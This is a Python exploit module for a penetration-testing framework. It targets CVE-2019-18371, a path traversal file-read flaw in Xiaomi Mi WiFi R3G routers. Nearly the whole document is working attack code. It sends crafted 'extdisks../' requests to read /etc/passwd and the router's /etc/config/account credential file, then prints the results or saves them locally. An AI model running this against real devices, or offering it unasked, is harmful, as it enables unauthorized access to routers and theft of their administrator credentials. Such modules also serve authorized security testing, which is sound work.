Xiaomi Mi WiFi R3G LFI (CVE-2019-18371)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Xiaomi Mi WiFi R3G NGINX alias LFI (CVE-2019-18371)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Xiaomi Mi WiFi R3G LFI (CVE-2019-18371)',
        'description': (
            'Exploits CVE-2019-18371 in Xiaomi Mi WiFi R3G <2.28.23: NGINX alias misconfiguration '
            'allows reading /etc/config/account and other files via api-third-party/download.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-18371'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-18371'],
        'tags': ['xiaomi', 'router', 'lfi', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2019_18371_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote path to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _path(self, remote: str) -> str:
        remote = remote.lstrip('/')
        return f'/api-third-party/download/extdisks../{remote}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or '') or 'admin' in (body or ''):
            return {'vulnerable': True, 'reason': 'Xiaomi R3G traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'LFI failed', 'confidence': 'medium'}

    def run(self):
        targets = (
            str(self.file_path or '/etc/passwd'),
            'etc/config/account',
        )
        for target in targets:
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)